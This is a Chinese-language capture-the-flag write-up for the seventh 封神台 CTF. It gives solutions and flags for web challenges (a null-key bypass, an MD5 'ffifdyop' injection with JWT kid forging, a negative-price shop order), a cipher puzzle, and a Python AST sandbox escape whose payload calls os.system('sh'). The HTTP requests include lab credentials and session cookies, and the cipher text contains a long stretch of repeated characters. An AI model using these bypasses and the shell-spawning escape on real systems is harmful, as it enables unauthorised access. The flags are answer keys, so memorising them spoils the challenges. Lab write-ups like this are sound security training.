第七届封神台CTF

7个月前更新

120

第七届封神台CTF

Web

welcome_to_zkaqctf

源码：

const {promises: fs} = require('fs');
const fastify = require('fastify');

const flag = process.env.FLAG || 'zkaq{do_you_believe_this_is_flag?}';

const app = fastify();
app.get('/', async (_, res) => {
res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
	if (typeof req.body === 'object' && req.body[flag] === true) {
		return res.send(`OhoUhOu~ flag is ${flag}`);
	}
	return res.send(`emmmmmmmwmwmwmwm NO...`);
});

思路：

传一个 null 就行，req.body[null] === true

flag：zkaq{S0metime_Empty_1s_FU11}

科目四

直接打答完题就行

flag：ZKAQCTF{d0_y0u_think_netw0rk_security_imp0rtant?}

诗和远方

思路：

先审计源码

学习：ffifdyop——绕过中一个奇妙的字符串 – 你知道是我的 – 博客园

可以先使用 md5 绕过，使用用万能密码，ffifdyop，然后发现 Cookies，Secret 是 a_passenger_signing_key_give?

然后使用万能密码替换 kid，Secret 就是上面找到的

eyJhbGciOiJIUzI1NiIsImtpZCI6ImZmaWZkeW9wIiwidHlwIjoiSldUIn0.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.tcp_Agxg2lLbh6-Ys0hZ2-5uoQAtGbh7tAnIVFSfTmU

得到新的 secret

conductor_key_514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e

最后在替换新的 jwt，发送就拿到 flag

flag：zkaq{DuduDu_1etS_9o_to_P0etry_@nd_distance!}

为了部落！

原题：CTFtime.org / 34C3 CTF / JuniorCTF – 披萨门 / Writeup

思路：

后面随便跟个东西，发现报错

这是 Django 框架调试页面的形式产生结果，

^$ [name=’index’]

^admin

^robots.txt$

^foobarbaz/

^static/(?P .*)$

我们访问 foobarbaz/ 会弹出来一个认证

Authorization: Basic YWRtaW46Ig%3d%3d

可以发现角色为 admin 的用户名和密码

sh1a:just_do_it_goddamnit

创建一个账号先

访问 url/foobarbaz/pizza/create

我们这里有个商品买不了，我们先创建一个商品，价格为负的

POST /foobarbaz/pizza/create HTTP/1.1
Host: r7ikie1s.lab.aqlab.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: http://r7ikie1s.lab.aqlab.cn/foobarbaz/pizza/create
Accept-Encoding: gzip, deflate
Authorization: Basic c2gxYTpqdXN0X2RvX2l0X2dvZGRhbW5pdA==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://r7ikie1s.lab.aqlab.cn
Upgrade-Insecure-Requests: 1
Cookie: csrftoken=mif46n38yuyop8HQY7rIBmDN0XkJgiJ65nqMtIR3OV6rQMZRpLEORKf3ORemXDTN; sessionid=ueb669ntszx036hkytidnmnajk76ycgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Priority: u=0, i
Content-Length: 110

csrfmiddlewaretoken=5lDYUpTjbLeKtP9rWpxEQWO8kupRryEROqOGhKHercMNUtrsn3KK6kqo8oju8TOy&name=letmein2&toppings=letmein2&price=-2338

‍

POST /foobarbaz/order/create HTTP/1.1
Host: r7ikie1s.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Authorization: Basic c2gxYTpqdXN0X2RvX2l0X2dvZGRhbW5pdA==
Cookie: csrftoken=mif46n38yuyop8HQY7rIBmDN0XkJgiJ65nqMtIR3OV6rQMZRpLEORKf3ORemXDTN; sessionid=ueb669ntszx036hkytidnmnajk76ycgi
Referer: http://r7ikie1s.lab.aqlab.cn/foobarbaz/order/create
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Origin: http://r7ikie1s.lab.aqlab.cn
Priority: u=0, i
Content-Length: 95

csrfmiddlewaretoken=8ZKc27d4Uatdfb1vykqk9UEK3pQK8a5dR4VUps1ZaB1gGPjwZYDqpig0RjKnPvfU&arms=letmein2

‍

发现这段代码可能存在 xxe 漏洞

Misc

misc1-签到

很明显，这是一段密文！你说对不对？逐流流随洋波波随逐波随流波洋逐波波流波逐随逐洋波波随波波流波逐洋波波逐流逐波流逐洋逐波随随流流流波洋波逐波逐随逐流流洋波随流逐随随随随洋波随流逐逐波逐流洋波逐波波流逐随随洋波逐随波随随流流洋波随流逐波随逐波洋波流波逐逐随波随洋波波逐流波波波流洋波流逐流随逐波逐洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随浪波流逐逐浪波逐逐流浪波逐随波浪波流随波浪波流逐流浪波逐随流浪波流随逐浪波流逐波浪波流随随浪波流波随洪流随随浪波波流流洪流随波浪波流随流浪波波流流浪波流随流浪波流波随浪波随随随浪波流随逐浪波流波随浪波波流流浪波随随逐浪波流逐波浪波波流流浪波流随流浪波波波波浪波逐逐波浪波波流流浪波逐随逐浪波逐流流浪波波流流浪波波逐逐浪波逐逐随浪波流波波浪波波流流洪流随波浪波逐逐波浪波流波波浪波流流波

思路：

很明显随波逐流解码

flag：zkaq{crypt0_1s_st@rt_By_sUi_bo_Zhu_1iu}

来一杯tea

源码：

import ast

def safe_import():
  print("Look! this guy is using imports!???O.o")

def safe_call():
  print("Look! this guy is using calls!???o.O")

class XiTiAiFu(ast.NodeTransformer):
  def visit_Call(self, node: ast.Call) -> ast.AST:
    return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
  
  def visit_Import(self, node: ast.AST) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_Assign(self, node: ast.Assign) -> ast.AST:
    return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
  
  def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
    return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
  
something = input('good morning guy,Do you need something：').splitlines()[0]

box = ast.parse(something)
box = XiTiAiFu().visit(box)
ast.fix_missing_locations(box)

exec(compile(box, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})

原题：misc/Astea – Starlight’s Blog

exp：把人家的 cup 改成 box

box: 0 = safe_call.__globals__['box']; builtins: 0 = safe_call.__builtins__; box.__class__.__format__: 0 = builtins['eval']; f"{box:builtins['__import__']('os').system('sh')}"